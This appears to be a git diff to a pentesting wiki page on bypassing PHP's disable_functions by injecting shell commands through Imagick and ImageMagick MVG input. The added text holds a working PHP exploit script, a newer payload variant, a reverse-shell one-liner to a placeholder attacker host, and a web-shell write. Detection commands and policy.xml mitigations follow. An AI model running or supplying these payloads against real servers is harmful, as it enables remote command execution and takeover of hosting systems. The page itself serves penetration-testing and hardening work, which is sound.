diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
index 68e1ff3488d..26a877d7bcd 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
@@ -1,61 +1,113 @@
-# Imagick <= 3.3.0 PHP >= 5.4 Exploit
+# Imagick <= 3.3.0  ‑ PHP >= 5.4  *disable_functions* Bypass
 
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+> The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`.
+>
+> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.  The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers  simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo.
 
-From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
+From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
 
 ```php
-# Exploit Title: PHP Imagick disable_functions Bypass
-# Date: 2016-05-04
-# Exploit Author: RicterZ (ricter@chaitin.com)
-# Vendor Homepage: https://pecl.php.net/package/imagick
-# Version: Imagick  <= 3.3.0 PHP >= 5.4
-# Test on: Ubuntu 12.04
-# Exploit:
+# Exploit Title : PHP Imagick disable_functions bypass
+# Exploit Author: RicterZ  (ricter@chaitin.com)
+# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
+# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
+# Usage         : curl "http://target/exploit.php?cmd=id"
 <?php
-# PHP Imagick disable_functions Bypass
-# Author: Ricter <ricter@chaitin.com>
-#
-# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
-# <pre>
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# </pre>
-echo "Disable functions: " . ini_get("disable_functions") . "\n";
-$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
-echo "Run command: $command\n====================\n";
-
-$data_file = tempnam('/tmp', 'img');
-$imagick_file = tempnam('/tmp', 'img');
-
-$exploit = <<<EOF
+// Print the local hardening status
+printf("Disable functions: %s\n", ini_get("disable_functions"));
+$cmd = $_GET['cmd'] ?? 'id';
+printf("Run command: %s\n====================\n", $cmd);
+
+$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
+$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script
+
+$payload = <<<EOF
 push graphic-context
 viewbox 0 0 640 480
-fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
+fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
 pop graphic-context
 EOF;
 
-file_put_contents("$imagick_file", $exploit);
-$thumb = new Imagick();
-$thumb->readImage("$imagick_file");
-$thumb->writeImage(tempnam('/tmp', 'img'));
-$thumb->clear();
-$thumb->destroy();
+file_put_contents($mvgs, $payload);
+$img = new Imagick();
+$img->readImage($mvgs);     // triggers convert(1)
+$img->writeImage(tempnam('/tmp', 'img'));
+$img->destroy();
 
-echo file_get_contents($data_file);
+echo file_get_contents($tmp);
 ?>
 ```
 
-{{#include ../../../../banners/hacktricks-training.md}}
+---
+
+## Why does it work?
+
+1. `Imagick::readImage()` transparently spawns the **ImageMagick** *delegate* (`convert`/`magick`) binary.
+2. The MVG script sets the *fill* to an external URI.  When a double quote (`"`) is injected, the remainder of the line is interpreted by `/bin/sh ‑c`  that ImageMagick uses internally → arbitrary shell execution.
+3. All happens outside of the PHP interpreter, therefore *`disable_functions`*, *open_basedir*, `safe_mode` (removed in PHP 5.4) and similar in-process restrictions are completely bypassed.
+
+## 2025 status – it is **still** relevant
+
+* Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable.  In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`.
+* Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…).  Two recent public examples are:
+  * **CVE-2020-29599** – shell injection via the *text:* coder.
+  * **GitHub issue #6338** (2023) – injection in the *video:* delegate.
 
+If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward.
+
+## Modern payload variants
+
+```php
+// --- Variant using the video coder discovered in 2023 ---
+$exp = <<<MAGICK
+push graphic-context
+image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
+pop graphic-context
+MAGICK;
+$img = new Imagick();
+$img->readImageBlob($exp);
+```
 
+Other useful primitives during CTFs / real engagements:
 
+* **File write**  – `... > /var/www/html/shell.php`  (write web-shell outside *open_basedir*)
+* **Reverse shell** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
+* **Enumerate** – `id; uname -a; cat /etc/passwd`
+
+## Quick detection & enumeration
+
+```bash
+# PHP side
+php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
+
+# System side
+convert -version | head -1                 # ImageMagick version
+convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?
+```
+
+If the output shows the `MVG` or `URL` coders are *enabled* the target is probably exploitable.
+
+## Mitigations
+
+1. **Patch/Upgrade**  – Use ImageMagick ≥ *7.1.1-11* (or the latest 6.x LTS) and Imagick ≥ *3.7.2*.
+2. **Harden `policy.xml`**  – explicitly *disable* high-risk coders:
+
+   ```xml
+   <policy domain="coder" name="MVG" rights="none"/>
+   <policy domain="coder" name="MSL" rights="none"/>
+   <policy domain="coder" name="URL" rights="none"/>
+   <policy domain="coder" name="VIDEO" rights="none"/>
+   <policy domain="coder" name="PS" rights="none"/>
+   <policy domain="coder" name="TEXT" rights="none"/>
+   ```
+
+3. **Remove the extension**  on untrusted hosting environments.  In most web stacks `GD` or `Imagick` is not strictly required.
+4. Treat `disable_functions` only as *defence-in-depth* – never as a primary sandboxing mechanism.
+
+## References
+
+* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
+* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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